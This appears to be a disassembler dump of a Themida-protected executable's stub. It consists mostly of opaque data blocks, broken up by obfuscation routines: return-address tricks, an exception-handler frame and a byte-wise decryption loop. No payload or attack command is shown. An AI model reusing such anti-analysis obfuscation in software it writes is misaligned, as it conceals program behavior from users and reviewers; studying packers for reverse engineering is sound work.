dd 12811C47h, 8A0Fh, 1610000h, 132FA5B5h, 5185C706h, 6131Eh
dd 0E8000000h, 11h, 144535Ah, 0A7F5F116h, 972EC9C1h, 5347AA36h
dd 0E1BB6623h, 0B5295BF1h, 6132ED9h, 0FFF316E9h, 11E9FFh
dd 3B8B0000h, 15117FEEh, 71FB26D1h, 30630476h, 60341D71h
dd 1E018D89h, 14E90613h, 30000000h, 6FD3D4FDh, 0FD216162h
dd 0A79B1F1Bh, 79E63817h, 61C674F7h
dd 0CFBBC18Bh, 8D6773BFh, 131EA985h, 8880F06h, 60000000h
dd 2A258D89h, 90610613h, 5830Fh, 66500000h, 505FFE8Bh
dd 6DF5BF66h, 0C840F90h, 0F000000h, 680h, 99BD8900h, 0E806130Bh
dd 13h, 0A109449Bh, 98B052E7h, 0EAAE658Fh, 0E0F448C6h
dd 0F0931DCh, 6A5BDFB7h, 0FEB70F00h, 9529006Ah, 6130A99h
dd 2C4858Dh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0C083C9C3h, 85850105h, 5006130Dh
dd 310F5250h, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0EAFEC251h, 8486D6B6h
dd 8D89C1ADh, 6133231h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0BD29F5C3h, 61329ADh
dd 0BD03006Ah, 61307F5h, 7F195FFh, 81660613h, 8D1B44D7h
dd 16A36A8Dh, 23D1FF06h, 130A6D9Dh, 3DBD8306h, 1061317h
dd 60850Fh, 820F0000h, 1, 6A026AF8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F0EDC355h
dd 0D0DFA4D4h, 9F04E2BBh, 219DBD8Bh, 9D8B0613h, 6133091h
dd 9E950h, 2C110000h, 0ABD6E574h, 89292D26h, 9D8B2404h
dd 6130F21h, 1E9595FFh, 0BD890613h, 6132C8Dh, 2AE9DE8Ah
dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 61802CEh
adc bx, 43ADh
mov edi, [ebp+6132A05h]
mov ebx, [ebp+6132821h]
lea eax, [ebp+6168F5Eh]
cld
push eax
mov edi, 763631B5h
mov [esp], eax
push ecx
pusha
mov cx, di
mov edx, 7FC1CC02h
popa
pop edi
push large dword ptr fs:0
push 0
push edx
call sub_5CC5DE
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC5DE proc near ; CODE XREF: Themida_:005CC5D6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5CC5DE endp
; ---------------------------------------------------------------------------
dw 4C66h
; ---------------------------------------------------------------------------
mov edi, esi
mov large fs:0, esp
push 0
push eax
call sub_5CC604
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC604 proc near ; CODE XREF: Themida_:005CC5FCp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5CC604 endp
; ---------------------------------------------------------------------------
cmpsd
sbb eax, 0DAB70F51h
pop ebx
jnp loc_5CC629
push edx
xor edi, 2F311485h
pop edi
loc_5CC629: ; CODE XREF: Themida_:005CC61Bj
inc dword ptr [ebp+61316D9h]
mov edi, [ebp+61310D9h]
sub [ebp+61307CDh], ebx
push 0FFFFFFFFh
sub di, 0DEC4h
push dword ptr [ebp+6132CA1h]
jle $+6
call dword ptr [ebp+61331ADh]
jmp loc_5CC72B
; ---------------------------------------------------------------------------
db 8Bh, 9Dh, 0EDh
dd 0B0061301h, 0B70F5000h, 70E65FFAh, 0F88B71E4h, 830F613Ch
dd 0B7h, 0AC99589h, 0B60F0613h, 958957C8h, 613309Dh, 6BA5Fh
dd 8E0F0000h, 4, 3BFBB66h, 0BF0FC18Bh, 4E8C1FBh, 0EE9h
dd 0B0593400h, 53AC1D99h, 3D6FB4F6h, 667BE89Eh, 2BFCE2F7h
dd 0BEECBBC8h, 0D18B7E6Eh, 6AE9h, 0BDBD2900h, 8B061311h
dd 131ECD9Dh, 50858B06h, 5247554Ch, 5B2DCB80h, 8007C083h
dd 0C08334CBh, 6BDFBF00h, 0B70F298Dh, 0FD03BDBh, 883h
dd 35E900h, 0DB800000h, 0FF8D8B65h, 89FFFFFFh, 131711BDh
dd 1E18306h, 1D840Fh, 0B5090000h, 6130A51h, 0FFFFA583h
dd 0BFFEFFFFh, 455E402Ah, 4C509589h, 0E94755h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5CC72B: ; CODE XREF: Themida_:005CC654j
lea esi, [ebp+6177FC7h]
push 0
push eax
call sub_5CC73C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC73C proc near ; CODE XREF: Themida_:005CC734p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5CC73C endp
; ---------------------------------------------------------------------------
dd 8D99003Dh, 2F04DB81h, 6A75A1h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 5CC35040h, 0A71181F7h, 0DBB13F7Dh
dd 655BD8Bh, 95FF0613h, 6130DA9h, 3E56BB66h, 0FABB9h, 0B19D8900h
dd 83061314h, 35B7FCE1h, 6EE4BBFCh, 0B86DB3h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0C3BBC353h, 0CF582182h, 7E8413Ah, 91000000h
dd 0B69B70DCh, 810FB8A5h, 5, 6FF78166h, 0D22B5F51h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 54C35747h, 0F7B1A3ECh
dd 0BD8B63BBh, 0C233AD4Ch, 0D003E8D1h, 7504E983h, 55006AF4h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 8B7871A5h, 8166C507h, 0D166BE7h, 88h, 165B589h, 958B0613h
dd 6131BBDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 60C35141h, 0FA64A200h, 68D6105Eh, 8820F90h, 52000000h
dd 0A58529h, 8B5B0613h, 1318DD8Dh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7F12BC30h
dd 0A19D8955h, 50061319h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 28939761h, 4690456Ch, 3880F07h, 80000000h
dd 840F06DFh, 5, 553C62BFh, 55006A04h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0FC189905h
dd 284C511Dh, 7299D09h, 9D8B0613h, 6132B99h, 1D1DBD83h
dd 0F000613h, 8484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 66352C40h, 0B88B9FBBh
dd 0
; ---------------------------------------------------------------------------
push edx
mov edi, eax
pop ebx
mov [ebp+6130095h], ecx
lea ecx, [ebp+6134F8Dh]
push 0
push edx
call sub_5CC973
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC973 proc near ; CODE XREF: Themida_:005CC96Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5CC973 endp
; ---------------------------------------------------------------------------
sahf
mov di, 0D33Bh
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5CC995
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC995 proc near ; CODE XREF: Themida_:005CC98Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5CC995 endp
; ---------------------------------------------------------------------------
cmpsd
sub [edi], eax
inc ebx
mov ecx, 8AAA102h
adc [ecx+2F0775CBh], eax
and eax, [ebx+133055BDh]
push es
add [edi], cl
test ah, dh
add eax, [eax]
add [ebx+1310A99Dh], cl
push es
cmp dword ptr [ebp+6133055h], 1
jz loc_5CCDC3
push 0
push eax
call sub_5CC9E0
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC9E0 proc near ; CODE XREF: Themida_:005CC9D8p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5CC9E0 endp
; ---------------------------------------------------------------------------
dd 3C6DD081h, 6030F84Eh, 9589CA8Bh, 613320Dh, 55BD8361h
dd 3061330h, 37F860Fh, 6A600000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9DD5C352h
dd 0BC32E7C1h, 104C3994h, 94DBD31h, 8C660613h, 51006AD9h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0E781857Eh, 5B830CEh, 8004E180h, 8B0F33CBh, 6, 0B41BD8Bh
dd 0C90A0613h, 11F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 0B327D9C3h, 918D093Ah
dd 8B061312h, 132BB985h, 4BDBBF06h, 85333E4Eh, 61305B9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 94C35242h
dd 2EF86C4Dh, 46780610h, 9810F50h, 60000000h, 11AE41B8h
dd 6129B464h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 9E36C352h, 816AC853h
dd 0FE9006Ah, 5B000000h, 8B9E9E3Bh, 2113D4BDh, 0EB3DEA7Fh
dd 9F68E8ECh, 0E86E5172h, 0Ch, 0F7FA2F2Ah, 0CD4019BFh
dd 0B5B06591h, 0F84CBF66h, 2434815Fh, 6E4E7160h, 0EAF78166h
dd 3D95FF08h, 8106130Ah, 0A09D5D3h, 54858910h, 6A0616C4h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0FE74C351h, 1BAE9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0D114FE64h
dd 4C858B17h, 660616C4h, 0C7F88Bh, 18h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 0CC35242h, 2C355654h
dd 468F23D8h, 5459D89h, 0B58B0613h, 616C450h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DEC35747h, 66B29091h
dd 858BFB8Bh, 6132A55h, 2835B589h, 6890613h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 5DC35040h, 130EDE52h
dd 0DE9h, 369DA800h, 0B17D9950h, 86FE4689h, 858B73FCh
dd 6132BB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0E9C35141h, 8166F17Eh, 89E7ECC3h, 6A0446h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0F8E9E4C3h, 3F97FD85h, 0FEB70F2Bh, 12458589h, 9D8B0613h
dd 6131065h, 0B193BB96h, 66504120h, 96CD71BFh, 0B5FFD98Bh
dd 616C44Ch, 0B0DB8166h, 5200682Bh, 0BB66C863h, 48148BAh
dd 0BBB1FF24h, 8D86B337h, 16C45485h, 2BF6606h, 658589A8h
dd 90061332h, 0F7BF6650h, 6A90BFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 44F8F2C3h, 0A6236194h
dd 138FBFDBh, 95FF4B01h, 6130A3Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0B9C35747h, 0AEF67D7Ch, 311246B5h
dd 1DB501E7h, 61061321h, 85C74CB7h, 6133055h, 3, 8E9h
dd 3686E800h, 117C2D4Bh, 54BD8354h, 616C4h, 33840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0BD8BE2C3h, 6130959h, 27E9h, 6870F00h, 8B000000h, 1330859Dh
dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h
db 0E7h, 0EBh, 1Bh
; ---------------------------------------------------------------------------
loc_5CCDC3: ; CODE XREF: Themida_:005CC9CFj
; Themida_:005CCDDAj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CCDC3
jmp short $+2
mov eax, eax
mov [ebp+6132551h], edx
push 0
push edi
call sub_5CCDF1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCDF1 proc near ; CODE XREF: Themida_:005CCDE9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5CCDF1 endp
; ---------------------------------------------------------------------------
db 0B2h, 22h, 5Fh
dd 2FF96FB0h, 602618D3h, 12E8h, 6CCD7D00h, 88FDFC78h, 0AB50184Dh
dd 0CF6DB88h, 60A0F35Ch, 95895961h, 6130EA9h, 55BD8361h
dd 3061330h, 424850Fh, 0E3810000h, 9AAB3A7h, 0C454BD83h
dd 0F000616h, 41184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 9F3E886h, 132F8D95h, 54B5FF06h
dd 890616C4h, 1332319Dh, 6995FF06h, 6A061309h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 6662C350h, 0D973EF81h, 0C448B58Bh, 0EF810616h, 0E96E374h
dd 106C7h, 89FC0001h, 130911B5h, 0BB669606h, 0E850983Ah
dd 5, 4F5AC06Eh, 6A965FFEh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 8B58C351h, 0B85D627h
dd 0A449C6EDh, 0ED9D8B50h, 5B06130Eh, 0C454B5FFh, 4EBB0616h
dd 0FF4C7858h, 13322995h, 88A0F06h, 0F000000h, 28Eh, 8BF88B00h
dd 16C448B5h, 31858B06h, 6A061306h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4895C352h
dd 70BFFCFDh, 897EF988h, 0C486h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 31CDC766h
dd 1312398Dh, 0BD958B06h, 6A06131Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 3B23C355h
dd 6EB95786h, 0E9326C5Fh, 9, 5A703542h, 0FAD0B85Fh, 0D19D8B32h
dd 83061319h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 5429C2C3h, 5BC791Dh, 0BE9h, 51D0800h
dd 0BE6C8BDFh, 37DCBEF5h, 6A205089h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6C33C353h
dd 60E45EA6h, 0A0F657DDh, 0ED858960h, 8B061304h, 132D298Dh
dd 858D6106h, 616D8E3h, 0AE70BB66h, 0B88689h, 0BD0B0000h
dd 6132FA5h, 2EB9BD8Bh, 6A0613h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 82C35646h, 715B589Dh, 51BD8BD6h
dd 0FF061316h, 16C454B5h, 51DB8106h, 0FF5D92CDh, 131E9595h
dd 0DE906h, 140F0000h, 124D8AB0h, 0D3959886h, 9635DDDEh
dd 208C68BBh, 0FE8507Dh, 4000000h, 0BBC66F17h, 37725348h
dd 0F4659D11h, 0D98B500Fh, 0BD8B965Bh, 613193Dh, 0C454B5FFh
dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 95FFABC3h, 6132145h, 1495BD83h, 0F000613h
dd 3884h, 6D9D8B00h, 5006131Fh, 1E418589h, 505F0613h, 4890Fh
dd 0BF660000h, 3489EBB1h, 11E924h, 8E7E0000h, 20DEEC21h
dd 951F952Ch, 0B9C48100h, 819FBF4Dh, 0DBECD0D3h, 54B5FF76h
dd 6A0616C4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 9261C351h, 0CF55401h, 307D3EE5h
dd 118E0Fh, 0CE90000h, 64000000h, 0FF3A9579h, 6547C9Ah
dd 0F877FB4h, 681h, 79BD8900h, 0FF061323h, 1305AD95h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 8596DF3Ah, 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0BB6629C3h, 9D8B1CCCh
dd 6132C61h, 120995FFh, 89F90613h, 130B7D95h, 11BD8306h
dd 2061305h, 65840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0CBD97FC3h, 0C220147Fh
dd 9D2B97F7h, 61314F1h, 18F9BD29h, 858B0613h, 6130F55h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D5C35343h
dd 4CD86FE9h, 8BD0EB61h, 130B8DBDh, 0C606h, 0C7FE8B66h
dd 131E5185h, 6, 178C0F00h, 0E9000000h, 12h, 38B54071h
dd 0C2F6F9B4h, 1114BEFDh, 4DAC65Ch, 0D8E9A5D7h, 8BFFFFF3h
dd 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0D70FB1CBh, 3E22CB86h, 0E9602C9Ch, 13h
dd 0D869961Bh, 66F62536h, 0EFB521A9h, 8D15A525h, 0E8DDE07Bh
dd 0Ch, 0B01FCAEDh, 7B4E51AFh, 45CEF2EBh, 1F618D01h, 615B0613h
dd 0A9858DF5h, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 9042C357h, 0AE850h
dd 46520000h, 911DBCB1h, 961D0BD5h, 0EE8h, 18468B00h, 63214F23h
dd 17D3BC7Fh, 6056A674h, 905B5F61h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 12C35747h, 66674C16h, 66006A08h
dd 6AEE98BBh, 49D78100h, 8D5F3E0Dh, 18121185h, 5D9D8B06h
dd 83061301h, 0BF6605C0h, 60900D4Bh, 0EE8h, 0DE77EA00h
dd 0CC25E4D9h, 0F1844AEEh, 0B1E53AFBh, 0EA8A5E08h, 52505061h
dd 0A7DFE7BFh, 5A310F47h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 1BB755C3h, 0BD898CA9h
dd 6132269h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0AD0ED0C3h, 2132AAB3h, 0B340D781h
dd 6A57CCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0D9C35040h, 0F195FFA5h, 0B3061307h, 0B8F0FDEh
dd 0F000000h, 587h, 0F31BB00h, 8D8D31A3h, 616A36Ah, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 34DAD632h
dd 0B70F5600h, 0D1FF5BFEh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0CDC35141h, 173DBD83h, 0F010613h, 8A85h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0DDBD3337h, 6A061331h, 45BB6602h, 0CDBF90DDh
dd 504C669Bh, 0C8F0Fh, 8C0F0000h, 6, 310F5250h, 6A90585Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 4676C353h, 13E9231Dh, 0C8000000h, 5C5D065Fh
dd 109415D2h, 0EE98594Ch, 68F4B03Eh, 0DB8137AEh, 1464AD93h
dd 1E9595FFh, 0F0BB0613h, 0E92CDA72h, 0D90h, 0E8h, 0ED815D00h
dd 618121Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0D3C35141h, 1E99BD8Bh, 0F88B0613h, 8F5E858Dh, 6A0616h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 1800B6C3h, 5090D9CDh, 7CBF6650h, 89905FCAh, 131569B5h
dd 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5CD557
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD557 proc near ; CODE XREF: Themida_:005CD54Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5CD557 endp
; ---------------------------------------------------------------------------
db 0Ch
dd 0ABE2E03Ah, 8BED8EF2h, 258964h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0FF41C355h, 1316D985h, 0BFFF6A06h, 2562912Fh, 20B9B5FFh
dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 2B0173C3h, 0EC4617C5h, 56736375h, 287DBD8Bh
dd 0FF5F0613h, 1331AD95h, 130E906h, 9D030000h, 6131381h
dd 816600B0h, 0E65DDEEFh, 3880F70h, 80000000h, 71E47CD7h
dd 1B99B589h, 613C0613h, 108830Fh, 0FF50000h, 5F53C8B6h
dd 6BAh, 29858900h, 8B06132Ah, 0C99D89C1h, 6006130Ah, 6EB3B866h
dd 91E88166h, 0E8C1613Eh, 1111BF04h, 0F7667628h, 0B0BF66E2h
dd 0C82BF53Ch, 9D01D18Bh, 6130E89h, 0D698D89h, 0BFE90613h
dd 0E8000000h, 12h, 0AAEEEC51h, 0D67B2BAFh, 72D7CB71h
dd 75743C53h, 8B5BFC5Bh, 4E4985h, 6850F44h, 89000000h
dd 130E2995h, 837AB706h, 9D0B07C0h, 61307E1h, 6600C083h
dd 3B50A6BBh, 13830FD0h, 89000000h, 131FF585h, 70E906h
dd 850F0000h, 2, 8D8BF88Bh, 0FFFFFFFFh, 0E2B0BB66h, 38B0Fh
dd 8B660000h, 1E183FEh, 4C840Fh, 85010000h, 613131Dh, 0FFFFA583h
dd 8BFEFFFFh, 0ED9D29FEh, 8906132Bh, 4E4995h, 0D88B6644h
dd 0BE8h, 0EFE95500h, 23512A09h, 62E0BA56h, 0EE860h, 5C090000h
dd 431990DEh, 43C2B46Bh, 0E9E2FE8Ah, 61FE8B58h, 0E95Bh
dd 0B58D0000h, 6178F72h, 6ADF8Bh, 95FFA4B7h, 6130DA9h
dd 0E7B9FC8Ah, 8B000011h, 132BA59Dh, 0FCE18306h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4BC35343h, 5A09BF67h
dd 405A7CBFh, 9D8BFC41h, 61331A5h, 0B8h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 261C9981h, 0CD3E3598h, 816614AFh, 0E98801E7h, 0Ch, 7B1EEC61h
dd 63D6ED1Bh, 1F3AB5CAh, 0BAF88Bh, 0F000000h, 128Eh, 0DE900h
dd 0A8820000h, 1894DDF7h, 0D6D36D31h, 0ADA69FB9h, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0DD8AC350h, 3CA572C9h
dd 89823AC6h, 1331C595h, 0CB816606h, 880D8112h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 8FB8C356h, 3B3DBA85h, 89F02428h, 130E7185h
dd 5840F06h, 66000000h, 0F2F2D381h, 1BBD958Bh, 6A0613h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 689D92C3h, 0EC6290A1h, 11BD8B11h, 66061300h, 8D8BD98Bh
dd 61318DDh, 840Fh, 8B500000h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 6ADEB70Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0D44BC351h, 56699C11h
dd 24F9B501h, 0BB660613h, 0BD83D614h, 6131D1Dh, 25840F00h
dd 8B000000h, 132B71BDh, 0B806h, 0BD8B0000h, 6130FE9h
dd 4F8D8D8Dh, 0BD8B0613h, 6132BEDh, 8D09E1FFh, 6130D79h
dd 3055BD83h, 0F000613h, 41D84h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 1374F2A9h
dd 32C2BDC1h, 81667709h, 8350FCD3h, 133055BDh, 840F0106h
dd 401h, 0A0D9D03h, 0BD830613h, 6133055h, 0B8860F03h, 6A000003h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 7A64C351h, 76AD636Fh, 1CBB6048h, 6608A750h
dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 4E2E8EC3h, 898D28BAh, 13239585h, 4E18006h
dd 27DB8150h, 5F23B088h, 152DBD09h, 0C90A0613h, 0FC840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0A564E3C3h, 4899957Eh, 138DBD8Bh, 858B0613h
dd 6132BB9h, 0B98533F5h, 6A061305h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 507DC357h
dd 7E9h, 0A3234C00h, 0DD2A6DDEh, 80240489h, 6A6BCBh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AAC35747h, 0EDA6DDA9h
dd 0A993B268h, 240481F0h, 0F75704Dh, 0A3D95FFh, 6A0613h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 734F85C3h, 0D2434AD7h, 0DB803F22h, 54858955h, 810616C4h
dd 0EAF749C3h, 211E967h, 14E80000h, 2A000000h, 429AED57h
dd 0A208756Bh, 0D4B2211Ch, 4CAB04FEh, 8B3F1D6Ah, 132D0DBDh
dd 8F0F5F06h, 6, 19918D29h, 858B0613h, 616C44Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 76C35141h, 0C3DC8AE9h
dd 0CE8FD6Dh, 85000000h, 0F317A822h, 594C80Dh, 0FD88D20h
dd 28Dh, 5B616000h, 1800C7h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E2DB14C3h
dd 716CF4E4h, 8960B901h, 1310F9B5h, 0D19D8B06h, 61061320h
dd 0C450B58Bh, 0BB660616h, 858BF4B4h, 6132A55h, 19018D89h
dd 6890613h, 11E8h, 4569AD00h, 79AEF28Bh, 0C10299EFh, 9862449Eh
dd 9E9A7F1h, 18000000h, 8B1D5EB1h, 47F80B2Ah, 8B1DB75Fh
dd 132BB985h, 198D2906h, 33061331h, 1301C19Dh, 4468906h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 44C35343h
dd 9D8B9176h, 6130B39h, 1A019D29h, 0E8500613h, 8, 4CE4FA6Ah
dd 0E1E465CDh, 9E9h, 474F1900h, 3715C77Eh, 895B5A8Ah, 830F2434h
dd 6, 1E558529h, 0B5FF0613h, 616C44Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0A8C35242h, 6568ED27h, 60909E44h
dd 5205B9BBh, 61F98B63h, 9A240481h, 506F80BFh, 6870Fh
dd 9D090000h, 6133205h, 54858D5Bh, 6A0616C4h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 9FA6C350h, 74C8ED8Dh, 6E8C551h, 0D000000h, 5AC2D53Eh
dd 199D03C9h, 5F06131Ah, 2375BD8Bh, 0BF900613h, 5C3AF101h
dd 905B5250h, 1CD9D89h, 95FF0613h, 6130A3Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 24C35343h, 0D6DF8177h
dd 611C96A9h, 3EE2BF66h, 305585C7h, 30613h, 89500000h
dd 130D7195h, 0BD835B06h, 616C454h, 48840F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 4307C352h, 0AAA102B9h, 3DE9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 7DBF8A2Ch, 5019589Fh, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 0DE8C08Bh, 3C000000h, 0C35B62Bh
dd 7F3D16A5h, 0E93F6596h, 315BF88Bh, 1307F585h, 50006A06h
dd 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0CE94Ah, 5F020000h
dd 84BD3BD0h, 2D028DD2h, 0BD83038Dh, 6133055h, 0AB850F03h
dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
